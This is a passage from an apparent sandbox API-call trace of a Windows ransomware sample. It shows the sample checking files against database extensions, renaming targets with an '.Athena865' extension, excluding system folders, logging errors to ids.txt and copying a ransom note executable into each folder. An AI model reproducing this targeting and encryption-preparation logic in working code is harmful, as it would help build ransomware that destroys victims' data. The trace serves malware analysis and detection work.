(lpString="adf") returned 3 [0041.176] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0041.176] lstrlenW (lpString="adn") returned 3 [0041.176] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0041.176] lstrlenW (lpString="adp") returned 3 [0041.176] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0041.176] lstrlenW (lpString="alf") returned 3 [0041.176] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0041.176] lstrlenW (lpString="ask") returned 3 [0041.176] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0041.176] lstrlenW (lpString="btr") returned 3 [0041.176] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0041.176] lstrlenW (lpString="cat") returned 3 [0041.176] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0041.176] lstrlenW (lpString="cdb") returned 3 [0041.176] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0041.176] lstrlenW (lpString="ckp") returned 3 [0041.176] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0041.176] lstrlenW (lpString="cma") returned 3 [0041.176] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0041.176] lstrlenW (lpString="cpd") returned 3 [0041.176] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0041.176] lstrlenW (lpString="dacpac") returned 6 [0041.176] lstrcmpiW (lpString1="le.exe", lpString2="dacpac") returned 1 [0041.176] lstrlenW (lpString="dad") returned 3 [0041.176] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0041.176] lstrlenW (lpString="dadiagrams") returned 10 [0041.176] lstrcmpiW (lpString1="itable.exe", lpString2="dadiagrams") returned 1 [0041.176] lstrlenW (lpString="daschema") returned 8 [0041.176] lstrcmpiW (lpString1="able.exe", lpString2="daschema") returned -1 [0041.176] lstrlenW (lpString="db-journal") returned 10 [0041.176] lstrcmpiW (lpString1="itable.exe", lpString2="db-journal") returned 1 [0041.176] lstrlenW (lpString="db-shm") returned 6 [0041.176] lstrcmpiW (lpString1="le.exe", lpString2="db-shm") returned 1 [0041.176] lstrlenW (lpString="db-wal") returned 6 [0041.176] lstrcmpiW (lpString1="le.exe", lpString2="db-wal") returned 1 [0041.176] lstrlenW (lpString="dbc") returned 3 [0041.176] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0041.176] lstrlenW (lpString="dbs") returned 3 [0041.177] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0041.177] lstrlenW (lpString="dbt") returned 3 [0041.177] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0041.177] lstrlenW (lpString="dbv") returned 3 [0041.177] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0041.177] lstrlenW (lpString="dbx") returned 3 [0041.177] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0041.177] lstrlenW (lpString="dcb") returned 3 [0041.177] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0041.177] lstrlenW (lpString="dct") returned 3 [0041.177] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0041.177] lstrlenW (lpString="dcx") returned 3 [0041.177] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0041.177] lstrlenW (lpString="ddl") returned 3 [0041.177] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0041.177] lstrlenW (lpString="dlis") returned 4 [0041.177] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1 [0041.177] lstrlenW (lpString="dp1") returned 3 [0041.177] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1 [0041.177] lstrlenW (lpString="dqy") returned 3 [0041.177] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1 [0041.177] lstrlenW (lpString="dsk") returned 3 [0041.177] lstrcmpiW (lpString1="exe", lpString2="dsk") returned 1 [0041.177] lstrlenW (lpString="dsn") returned 3 [0041.177] lstrcmpiW (lpString1="exe", lpString2="dsn") returned 1 [0041.177] lstrlenW (lpString="dtsx") returned 4 [0041.177] lstrcmpiW (lpString1=".exe", lpString2="dtsx") returned -1 [0041.177] lstrlenW (lpString="dxl") returned 3 [0041.177] lstrcmpiW (lpString1="exe", lpString2="dxl") returned 1 [0041.177] lstrlenW (lpString="eco") returned 3 [0041.177] lstrcmpiW (lpString1="exe", lpString2="eco") returned 1 [0041.177] lstrlenW (lpString="ecx") returned 3 [0041.177] lstrcmpiW (lpString1="exe", lpString2="ecx") returned 1 [0041.177] lstrlenW (lpString="edb") returned 3 [0041.177] lstrcmpiW (lpString1="exe", lpString2="edb") returned 1 [0041.177] lstrlenW (lpString="epim") returned 4 [0041.177] lstrcmpiW (lpString1=".exe", lpString2="epim") returned -1 [0041.177] lstrlenW (lpString="fcd") returned 3 [0041.177] lstrcmpiW (lpString1="exe", lpString2="fcd") returned -1 [0041.178] lstrlenW (lpString="fdb") returned 3 [0041.178] lstrcmpiW (lpString1="exe", lpString2="fdb") returned -1 [0041.178] lstrlenW (lpString="fic") returned 3 [0041.178] lstrcmpiW (lpString1="exe", lpString2="fic") returned -1 [0041.178] lstrlenW (lpString="flexolibrary") returned 12 [0041.178] lstrcmpiW (lpString1="aritable.exe", lpString2="flexolibrary") returned -1 [0041.178] lstrlenW (lpString="fm5") returned 3 [0041.178] lstrcmpiW (lpString1="exe", lpString2="fm5") returned -1 [0041.178] lstrlenW (lpString="fmp") returned 3 [0041.178] lstrcmpiW (lpString1="exe", lpString2="fmp") returned -1 [0041.178] lstrlenW (lpString="fmp12") returned 5 [0041.178] lstrcmpiW (lpString1="e.exe", lpString2="fmp12") returned -1 [0041.178] lstrlenW (lpString="fmpsl") returned 5 [0041.178] lstrcmpiW (lpString1="e.exe", lpString2="fmpsl") returned -1 [0041.178] lstrlenW (lpString="fol") returned 3 [0041.178] lstrcmpiW (lpString1="exe", lpString2="fol") returned -1 [0041.178] lstrlenW (lpString="fp3") returned 3 [0041.178] lstrcmpiW (lpString1="exe", lpString2="fp3") returned -1 [0041.178] lstrlenW (lpString="fp4") returned 3 [0041.178] lstrcmpiW (lpString1="exe", lpString2="fp4") returned -1 [0041.178] lstrlenW (lpString="fp5") returned 3 [0041.178] lstrcmpiW (lpString1="exe", lpString2="fp5") returned -1 [0041.178] lstrlenW (lpString="fp7") returned 3 [0041.178] lstrcmpiW (lpString1="exe", lpString2="fp7") returned -1 [0041.178] lstrlenW (lpString="fpt") returned 3 [0041.178] lstrcmpiW (lpString1="exe", lpString2="fpt") returned -1 [0041.178] lstrlenW (lpString="frm") returned 3 [0041.178] lstrcmpiW (lpString1="exe", lpString2="frm") returned -1 [0041.178] lstrlenW (lpString="gdb") returned 3 [0041.178] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0041.178] lstrlenW (lpString="gdb") returned 3 [0041.178] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0041.178] lstrlenW (lpString="grdb") returned 4 [0041.178] lstrcmpiW (lpString1=".exe", lpString2="grdb") returned -1 [0041.178] lstrlenW (lpString="gwi") returned 3 [0041.178] lstrcmpiW (lpString1="exe", lpString2="gwi") returned -1 [0041.178] lstrlenW (lpString="hdb") returned 3 [0041.178] lstrcmpiW (lpString1="exe", lpString2="hdb") returned -1 [0041.179] lstrlenW (lpString="his") returned 3 [0041.179] lstrcmpiW (lpString1="exe", lpString2="his") returned -1 [0041.179] lstrlenW (lpString="ib") returned 2 [0041.179] lstrcmpiW (lpString1="xe", lpString2="ib") returned 1 [0041.179] lstrlenW (lpString="idb") returned 3 [0041.179] lstrcmpiW (lpString1="exe", lpString2="idb") returned -1 [0041.179] lstrlenW (lpString="ihx") returned 3 [0041.179] lstrcmpiW (lpString1="exe", lpString2="ihx") returned -1 [0041.179] lstrlenW (lpString="itdb") returned 4 [0041.179] lstrcmpiW (lpString1=".exe", lpString2="itdb") returned -1 [0041.179] lstrlenW (lpString="itw") returned 3 [0041.179] lstrcmpiW (lpString1="exe", lpString2="itw") returned -1 [0041.179] lstrlenW (lpString="jet") returned 3 [0041.179] lstrcmpiW (lpString1="exe", lpString2="jet") returned -1 [0041.179] lstrlenW (lpString="jtx") returned 3 [0041.179] lstrcmpiW (lpString1="exe", lpString2="jtx") returned -1 [0041.179] lstrlenW (lpString="kdb") returned 3 [0041.179] lstrcmpiW (lpString1="exe", lpString2="kdb") returned -1 [0041.179] lstrlenW (lpString="kexi") returned 4 [0041.179] lstrcmpiW (lpString1=".exe", lpString2="kexi") returned -1 [0041.179] lstrlenW (lpString="kexic") returned 5 [0041.179] lstrcmpiW (lpString1="e.exe", lpString2="kexic") returned -1 [0041.179] lstrlenW (lpString="kexis") returned 5 [0041.179] lstrcmpiW (lpString1="e.exe", lpString2="kexis") returned -1 [0041.179] lstrlenW (lpString="lgc") returned 3 [0041.179] lstrcmpiW (lpString1="exe", lpString2="lgc") returned -1 [0041.179] lstrlenW (lpString="lwx") returned 3 [0041.179] lstrcmpiW (lpString1="exe", lpString2="lwx") returned -1 [0041.179] lstrlenW (lpString="maf") returned 3 [0041.179] lstrcmpiW (lpString1="exe", lpString2="maf") returned -1 [0041.179] lstrlenW (lpString="maq") returned 3 [0041.179] lstrcmpiW (lpString1="exe", lpString2="maq") returned -1 [0041.179] lstrlenW (lpString="mar") returned 3 [0041.179] lstrcmpiW (lpString1="exe", lpString2="mar") returned -1 [0041.179] lstrlenW (lpString="marshal") returned 7 [0041.179] lstrcmpiW (lpString1="ble.exe", lpString2="marshal") returned -1 [0041.180] lstrlenW (lpString="mas") returned 3 [0041.180] lstrcmpiW (lpString1="exe", lpString2="mas") returned -1 [0041.180] lstrlenW (lpString="mav") returned 3 [0041.180] lstrcmpiW (lpString1="exe", lpString2="mav") returned -1 [0041.180] lstrlenW (lpString="maw") returned 3 [0041.180] lstrcmpiW (lpString1="exe", lpString2="maw") returned -1 [0041.180] lstrlenW (lpString="mdbhtml") returned 7 [0041.180] lstrcmpiW (lpString1="ble.exe", lpString2="mdbhtml") returned -1 [0041.180] lstrlenW (lpString="mdn") returned 3 [0041.180] lstrcmpiW (lpString1="exe", lpString2="mdn") returned -1 [0041.180] lstrlenW (lpString="mdt") returned 3 [0041.180] lstrcmpiW (lpString1="exe", lpString2="mdt") returned -1 [0041.180] lstrlenW (lpString="mfd") returned 3 [0041.180] lstrcmpiW (lpString1="exe", lpString2="mfd") returned -1 [0041.180] lstrlenW (lpString="mpd") returned 3 [0041.180] lstrcmpiW (lpString1="exe", lpString2="mpd") returned -1 [0041.180] lstrlenW (lpString="mrg") returned 3 [0041.180] lstrcmpiW (lpString1="exe", lpString2="mrg") returned -1 [0041.180] lstrlenW (lpString="mud") returned 3 [0041.180] lstrcmpiW (lpString1="exe", lpString2="mud") returned -1 [0041.180] lstrlenW (lpString="mwb") returned 3 [0041.180] lstrcmpiW (lpString1="exe", lpString2="mwb") returned -1 [0041.180] lstrlenW (lpString="myd") returned 3 [0041.180] lstrcmpiW (lpString1="exe", lpString2="myd") returned -1 [0041.180] lstrlenW (lpString="ndf") returned 3 [0041.180] lstrcmpiW (lpString1="exe", lpString2="ndf") returned -1 [0041.180] lstrlenW (lpString="nnt") returned 3 [0041.180] lstrcmpiW (lpString1="exe", lpString2="nnt") returned -1 [0041.180] lstrlenW (lpString="nrmlib") returned 6 [0041.180] lstrcmpiW (lpString1="le.exe", lpString2="nrmlib") returned -1 [0041.180] lstrlenW (lpString="ns2") returned 3 [0041.180] lstrcmpiW (lpString1="exe", lpString2="ns2") returned -1 [0041.180] lstrlenW (lpString="ns3") returned 3 [0041.180] lstrcmpiW (lpString1="exe", lpString2="ns3") returned -1 [0041.180] lstrlenW (lpString="ns4") returned 3 [0041.180] lstrcmpiW (lpString1="exe", lpString2="ns4") returned -1 [0041.180] lstrlenW (lpString="nsf") returned 3 [0041.180] lstrcmpiW (lpString1="exe", lpString2="nsf") returned -1 [0041.181] lstrlenW (lpString="nv") returned 2 [0041.181] lstrcmpiW (lpString1="xe", lpString2="nv") returned 1 [0041.181] lstrlenW (lpString="nv2") returned 3 [0041.181] lstrcmpiW (lpString1="exe", lpString2="nv2") returned -1 [0041.181] lstrlenW (lpString="nwdb") returned 4 [0041.181] lstrcmpiW (lpString1=".exe", lpString2="nwdb") returned -1 [0041.181] lstrlenW (lpString="nyf") returned 3 [0041.181] lstrcmpiW (lpString1="exe", lpString2="nyf") returned -1 [0041.181] lstrlenW (lpString="odb") returned 3 [0041.181] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0041.181] lstrlenW (lpString="odb") returned 3 [0041.181] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0041.181] lstrlenW (lpString="oqy") returned 3 [0041.181] lstrcmpiW (lpString1="exe", lpString2="oqy") returned -1 [0041.181] lstrlenW (lpString="ora") returned 3 [0041.181] lstrcmpiW (lpString1="exe", lpString2="ora") returned -1 [0041.181] lstrlenW (lpString="orx") returned 3 [0041.181] lstrcmpiW (lpString1="exe", lpString2="orx") returned -1 [0041.181] lstrlenW (lpString="owc") returned 3 [0041.181] lstrcmpiW (lpString1="exe", lpString2="owc") returned -1 [0041.181] lstrlenW (lpString="p96") returned 3 [0041.181] lstrcmpiW (lpString1="exe", lpString2="p96") returned -1 [0041.181] lstrlenW (lpString="p97") returned 3 [0041.181] lstrcmpiW (lpString1="exe", lpString2="p97") returned -1 [0041.181] lstrlenW (lpString="pan") returned 3 [0041.181] lstrcmpiW (lpString1="exe", lpString2="pan") returned -1 [0041.181] lstrlenW (lpString="pdb") returned 3 [0041.181] lstrcmpiW (lpString1="exe", lpString2="pdb") returned -1 [0041.181] lstrlenW (lpString="pdm") returned 3 [0041.181] lstrcmpiW (lpString1="exe", lpString2="pdm") returned -1 [0041.181] lstrlenW (lpString="pnz") returned 3 [0041.181] lstrcmpiW (lpString1="exe", lpString2="pnz") returned -1 [0041.181] lstrlenW (lpString="qry") returned 3 [0041.181] lstrcmpiW (lpString1="exe", lpString2="qry") returned -1 [0041.181] lstrlenW (lpString="qvd") returned 3 [0041.181] lstrcmpiW (lpString1="exe", lpString2="qvd") returned -1 [0041.181] lstrlenW (lpString="rbf") returned 3 [0041.181] lstrcmpiW (lpString1="exe", lpString2="rbf") returned -1 [0041.181] lstrlenW (lpString="rctd") returned 4 [0041.182] lstrcmpiW (lpString1=".exe", lpString2="rctd") returned -1 [0041.182] lstrlenW (lpString="rod") returned 3 [0041.182] lstrcmpiW (lpString1="exe", lpString2="rod") returned -1 [0041.182] lstrlenW (lpString="rodx") returned 4 [0041.182] lstrcmpiW (lpString1=".exe", lpString2="rodx") returned -1 [0041.182] lstrlenW (lpString="rpd") returned 3 [0041.182] lstrcmpiW (lpString1="exe", lpString2="rpd") returned -1 [0041.182] lstrlenW (lpString="rsd") returned 3 [0041.182] lstrcmpiW (lpString1="exe", lpString2="rsd") returned -1 [0041.182] lstrlenW (lpString="sas7bdat") returned 8 [0041.182] lstrcmpiW (lpString1="able.exe", lpString2="sas7bdat") returned -1 [0041.182] lstrlenW (lpString="sbf") returned 3 [0041.182] lstrcmpiW (lpString1="exe", lpString2="sbf") returned -1 [0041.182] lstrlenW (lpString="scx") returned 3 [0041.182] lstrcmpiW (lpString1="exe", lpString2="scx") returned -1 [0041.182] lstrlenW (lpString="sdb") returned 3 [0041.182] lstrcmpiW (lpString1="exe", lpString2="sdb") returned -1 [0041.182] lstrlenW (lpString="sdc") returned 3 [0041.182] lstrcmpiW (lpString1="exe", lpString2="sdc") returned -1 [0041.182] lstrlenW (lpString="sdf") returned 3 [0041.182] lstrcmpiW (lpString1="exe", lpString2="sdf") returned -1 [0041.182] lstrlenW (lpString="sis") returned 3 [0041.182] lstrcmpiW (lpString1="exe", lpString2="sis") returned -1 [0041.182] lstrlenW (lpString="spq") returned 3 [0041.182] lstrcmpiW (lpString1="exe", lpString2="spq") returned -1 [0041.182] lstrlenW (lpString="te") returned 2 [0041.182] lstrcmpiW (lpString1="xe", lpString2="te") returned 1 [0041.182] lstrlenW (lpString="teacher") returned 7 [0041.182] lstrcmpiW (lpString1="ble.exe", lpString2="teacher") returned -1 [0041.182] lstrlenW (lpString="tmd") returned 3 [0041.182] lstrcmpiW (lpString1="exe", lpString2="tmd") returned -1 [0041.182] lstrlenW (lpString="tps") returned 3 [0041.182] lstrcmpiW (lpString1="exe", lpString2="tps") returned -1 [0041.182] lstrlenW (lpString="trc") returned 3 [0041.182] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0041.182] lstrlenW (lpString="trc") returned 3 [0041.182] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0041.182] lstrlenW (lpString="trm") returned 3 [0041.182] lstrcmpiW (lpString1="exe", lpString2="trm") returned -1 [0041.183] lstrlenW (lpString="udb") returned 3 [0041.183] lstrcmpiW (lpString1="exe", lpString2="udb") returned -1 [0041.183] lstrlenW (lpString="udl") returned 3 [0041.183] lstrcmpiW (lpString1="exe", lpString2="udl") returned -1 [0041.183] lstrlenW (lpString="usr") returned 3 [0041.183] lstrcmpiW (lpString1="exe", lpString2="usr") returned -1 [0041.183] lstrlenW (lpString="v12") returned 3 [0041.183] lstrcmpiW (lpString1="exe", lpString2="v12") returned -1 [0041.183] lstrlenW (lpString="vis") returned 3 [0041.183] lstrcmpiW (lpString1="exe", lpString2="vis") returned -1 [0041.183] lstrlenW (lpString="vpd") returned 3 [0041.183] lstrcmpiW (lpString1="exe", lpString2="vpd") returned -1 [0041.183] lstrlenW (lpString="vvv") returned 3 [0041.183] lstrcmpiW (lpString1="exe", lpString2="vvv") returned -1 [0041.183] lstrlenW (lpString="wdb") returned 3 [0041.183] lstrcmpiW (lpString1="exe", lpString2="wdb") returned -1 [0041.183] lstrlenW (lpString="wmdb") returned 4 [0041.183] lstrcmpiW (lpString1=".exe", lpString2="wmdb") returned -1 [0041.183] lstrlenW (lpString="wrk") returned 3 [0041.183] lstrcmpiW (lpString1="exe", lpString2="wrk") returned -1 [0041.183] lstrlenW (lpString="xdb") returned 3 [0041.183] lstrcmpiW (lpString1="exe", lpString2="xdb") returned -1 [0041.183] lstrlenW (lpString="xld") returned 3 [0041.183] lstrcmpiW (lpString1="exe", lpString2="xld") returned -1 [0041.183] lstrlenW (lpString="xmlff") returned 5 [0041.183] lstrcmpiW (lpString1="e.exe", lpString2="xmlff") returned -1 [0041.183] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows NT\\stickerscharitable.exe.Athena865") returned 60 [0041.183] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows NT\\stickerscharitable.exe" (normalized: "c:\\program files\\windows nt\\stickerscharitable.exe"), lpNewFileName="C:\\Program Files\\Windows NT\\stickerscharitable.exe.Athena865" (normalized: "c:\\program files\\windows nt\\stickerscharitable.exe.athena865"), dwFlags=0x1) returned 1 [0041.184] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\stickerscharitable.exe.Athena865" (normalized: "c:\\program files\\windows nt\\stickerscharitable.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0xffffffff [0041.184] GetLastError () returned 0x20 [0041.184] wsprintfA (in: param_1=0x241db48, param_2="[ERROR] %S CreateFile error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Windows NT\\stickerscharitable.exe CreateFile error 32\r\n") returned 80 [0041.184] lstrlenA (lpString="[ERROR] C:\\Program Files\\Windows NT\\stickerscharitable.exe CreateFile error 32\r\n") returned 80 [0041.184] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0041.184] SetFilePointer (in: hFile=0x17c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x173b [0041.184] WriteFile (in: hFile=0x17c, lpBuffer=0x241db48*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x241d4e4, lpOverlapped=0x0 | out: lpBuffer=0x241db48*, lpNumberOfBytesWritten=0x241d4e4*=0x50, lpOverlapped=0x0) returned 1 [0041.184] CloseHandle (hObject=0x17c) returned 1 [0041.185] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows NT\\stickerscharitable.exe.Athena865" (normalized: "c:\\program files\\windows nt\\stickerscharitable.exe.athena865"), lpNewFileName="C:\\Program Files\\Windows NT\\stickerscharitable.exe" (normalized: "c:\\program files\\windows nt\\stickerscharitable.exe"), dwFlags=0x1) returned 1 [0041.185] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0041.185] CloseHandle (hObject=0x0) returned 0 [0041.185] CloseHandle (hObject=0xffffffff) returned 0 [0041.185] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TableTextService", cAlternateFileName="TABLET~1")) returned 1 [0041.185] lstrcmpiW (lpString1="TableTextService", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0041.185] lstrcmpiW (lpString1="TableTextService", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0041.185] lstrcmpiW (lpString1="TableTextService", lpString2=".") returned 1 [0041.185] lstrcmpiW (lpString1="TableTextService", lpString2="..") returned 1 [0041.185] lstrcmpiW (lpString1="TableTextService", lpString2="windows") returned -1 [0041.185] lstrcmpiW (lpString1="TableTextService", lpString2="bootmgr") returned 1 [0041.186] lstrcmpiW (lpString1="TableTextService", lpString2="temp") returned -1 [0041.186] lstrcmpiW (lpString1="TableTextService", lpString2="pagefile.sys") returned 1 [0041.186] lstrcmpiW (lpString1="TableTextService", lpString2="boot") returned 1 [0041.186] lstrcmpiW (lpString1="TableTextService", lpString2="ids.txt") returned 1 [0041.186] lstrcmpiW (lpString1="TableTextService", lpString2="ntuser.dat") returned 1 [0041.186] lstrcmpiW (lpString1="TableTextService", lpString2="perflogs") returned 1 [0041.186] lstrcmpiW (lpString1="TableTextService", lpString2="MSBuild") returned 1 [0041.186] lstrlenW (lpString="TableTextService") returned 16 [0041.186] lstrcpyW (in: lpString1=0x241e880, lpString2="TableTextService" | out: lpString1="TableTextService") returned="TableTextService" [0041.186] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f820 [0041.186] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5a) returned 0x51bae8 [0041.186] lstrcatW (in: lpString1="TableTextService", lpString2="\\" | out: lpString1="TableTextService\\") returned="TableTextService\\" [0041.186] lstrcatW (in: lpString1="TableTextService\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="TableTextService\\HOW TO BACK YOUR FILES.exe") returned="TableTextService\\HOW TO BACK YOUR FILES.exe" [0041.186] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows NT\\TableTextService\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows nt\\tabletextservice\\how to back your files.exe"), bFailIfExists=1) returned 1 [0041.188] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TableTextService", cAlternateFileName="TABLET~1")) returned 0 [0041.188] FindClose (in: hFindFile=0x529450 | out: hFindFile=0x529450) returned 1 [0041.188] ReleaseMutex (hMutex=0xec) returned 1 [0041.188] CloseHandle (hObject=0xec) returned 1 [0041.189] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Windows Photo Viewer" | out: lpString1="C:\\Program Files\\Windows Photo Viewer") returned="C:\\Program Files\\Windows Photo Viewer" [0041.189] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x515d98 | out: hHeap=0x4f0000) returned 1 [0041.189] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c440 | out: hHeap=0x4f0000) returned 1 [0041.189] lstrlenW (lpString="C:\\Program Files\\Windows Photo Viewer") returned 37 [0041.189] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\BBFD712C18872388F3BB9F45F9DBD66A") returned 0xec [0041.189] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0041.189] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Photo Viewer" | out: lpString1="C:\\Program Files\\Windows Photo Viewer") returned="C:\\Program Files\\Windows Photo Viewer" [0041.189] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0041.189] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Photo Viewer\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows photo viewer\\how to back your files.exe"), bFailIfExists=1) returned 0 [0041.189] CreateFileW (lpFileName="C:\\Program Files\\Windows Photo Viewer\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows photo viewer\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0041.189] GetLastError () returned 0x0 [0041.189] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0041.189] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x52f908 [0041.189] ReadFile (in: hFile=0xf4, lpBuffer=0x52f908, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x52f908*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0041.189] CloseHandle (hObject=0xf4) returned 1 [0041.190] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0041.190] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0041.190] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Photo Viewer\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbc465fe0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc465fe0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0041.190] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0041.190] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0041.190] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0041.190] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbc465fe0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc465fe0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.190] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0041.190] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0041.190] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0041.190] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0041.190] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22cc0dd2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, 